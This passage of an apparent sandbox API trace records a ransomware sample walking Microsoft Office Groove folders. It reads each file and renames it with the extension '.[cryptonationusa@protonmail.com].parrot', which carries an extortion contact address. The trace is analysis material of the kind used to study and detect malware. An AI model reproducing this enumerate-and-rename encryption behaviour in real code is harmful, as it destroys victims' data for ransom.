(in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.337] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.337] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.338] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.339] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x37a, lpOverlapped=0x0) returned 1 [0191.339] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.343] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.343] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.344] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.345] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35f, lpOverlapped=0x0) returned 1 [0191.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.350] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.350] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.351] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.351] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35d, lpOverlapped=0x0) returned 1 [0191.352] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.356] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.356] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.358] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.358] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x354, lpOverlapped=0x0) returned 1 [0191.358] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.363] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.363] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.365] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x352, lpOverlapped=0x0) returned 1 [0191.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.370] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.370] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.372] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x373, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x373, lpOverlapped=0x0) returned 1 [0191.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.380] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.380] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.381] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.381] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35c, lpOverlapped=0x0) returned 1 [0191.382] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.386] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.386] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.387] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.387] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x26d, lpOverlapped=0x0) returned 1 [0191.387] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.391] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.391] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.393] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.393] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12b79, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x12b79, lpOverlapped=0x0) returned 1 [0191.397] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.402] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.402] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.403] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.403] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e57, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6e57, lpOverlapped=0x0) returned 1 [0191.405] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.409] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.409] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.410] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.410] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6427, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6427, lpOverlapped=0x0) returned 1 [0191.454] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.459] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.459] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.459] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.460] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13e, lpOverlapped=0x0) returned 1 [0191.460] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.466] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.466] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.467] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.467] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1db1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1db1, lpOverlapped=0x0) returned 1 [0191.468] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.472] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.472] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.474] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.474] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd78, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xd78, lpOverlapped=0x0) returned 1 [0191.474] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.479] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0191.479] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe284160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe284160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.481] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd18e4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADDGIF~1.PAR")) returned 1 [0191.482] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0191.484] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0191.484] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.485] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0191.485] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0191.485] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0191.485] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.486] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.486] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.486] ReadFile 